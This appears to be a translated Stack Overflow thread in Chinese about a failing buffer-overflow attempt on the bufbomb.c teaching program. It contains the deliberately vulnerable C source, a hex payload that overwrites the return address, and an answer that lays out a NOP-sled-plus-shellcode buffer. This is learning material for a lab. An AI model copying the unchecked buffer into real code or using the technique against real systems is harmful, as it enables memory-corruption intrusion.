bufbomb堆栈溢出失败

时间:2014-05-27 03:33:49

标签: c gcc buffer-overflow

我正在使用bufbomb.c进行一些buffer overflow attack试验。

我成功使用gdb来调试代码。 Howeverer;当我直接运行程序时,当我输入字符来尝试攻击时,我得到一个"Segmentation fault (core dumped)"

我使用gcc(Ubuntu / Linaro 4.8.1-10ubuntu9)4.8.1。建立以下。

//bufbomb.c  
/* Bomb program that is solved using a buffer overflow attack */ 

#include <stdio.h>  
#include <stdlib.h>  
#include <ctype.h>  

/* Like gets, except that characters are typed as pairs of hex digits. 
   Nondigit characters are ignored.  Stops when encounters newline */ 
char *getxs(char *dest) 
{ 
    int c; 
    int even =1; /* Have read even number of digits */ 
    int otherd =0; /* Other hex digit of pair */ 
    char*sp = dest; 
    while ((c = getchar()) != EOF && c !='\n') { 
        if (isxdigit(c)) {
            int val; 
            if ('0'<= c && c <='9') 
                val = c -'0'; 
            else if ('A'<= c && c <='F') 
                val = c -'A'+10; 
            else 
                val = c -'a'+10; 
            if (even) { 
                otherd = val; 
                even =0; 
            } 
            else { 
                *sp++= otherd *16+ val; 
                even =1; 
            } 
        } 
    } 
    *sp++='\0'; 
    return dest; 
} 

/* $begin getbuf-c */ 
int getbuf() 
{ 
    char buf[12]; 
    getxs(buf); 
    return 1; 
} 

void test() 
{ 
    int val; 
    printf("Type Hex string:"); 
    val = getbuf(); 
    printf("getbuf returned 0x%x\n", val); 
} 
/* $end getbuf-c */ 

int main() 
{ 
    int buf[16]; 
    /* This little hack is an attempt to get the stack to be in a 
       stable position 
    */ 
    int offset = (((int) buf) &0xFFF); 
    int*space = (int*) alloca(offset); 
    *space =0; /* So that don't get complaint of unused variable */ 
    test(); 
    return 0; 
}

然后我在gdb下执行了它:

...> gdb ./bugbomb
...
..run
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
getbuf returned 0xdeadbeef
[Inferior 1 (process 13530) exited normally]

然后没有gdb ::

./bufbomb 
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
Segmentation fault (core dumped)

我正在寻找一些解决seg-fault的帮助。

2 个答案:

答案 0 :(得分:1)

使用更大的缓冲区在gdb下运行它,以查看它尝试访问的地址,以猜测getbuf()使用的返回地址的堆栈偏移量。

要承担因使用gdb而导致的内存偏移量的微小差异,请使用NOP-sled。您的攻击缓冲区应如下所示:

  

| RET ADDRESS x 30 | NOPS(0x90)x 1000 | SHELLCODE |。

返回地址应指向NOP-sled的中间位置。

如果执行跳转到底座中的任何位置,它将滑动到shellcode。

答案 1 :(得分:0)

您正在访问您的进程不“拥有”的内存。

当你运行gdb时,编译器会添加内容(比如额外的调试信息)。

在尝试缓冲区溢出之前,可以通过扩展堆栈来绕过分段错误:

int expand_stack(int n_bytes) 
{
  char buf[n_bytes];
  return buf[n_bytes-1]; // access the memory to make sure the optimiser doesn't remove buf.
}

main中,在致电expand_stack之前添加对test的来电:

int main() 
{ 
    int buf[16]; 
    /* This little hack is an attempt to get the stack to be in a 
       stable position 
    */ 
    int offset = (((int) buf) &0xFFF); 
    int*space = (int*) alloca(offset); 
    *space = expand_stack(200); 

    test(); 
    return 0; 
}

请注意,您的代码仍会调用未定义的行为。

注意2:如果您的编译器不支持可变长度数组,只需使用固定数组buf[200]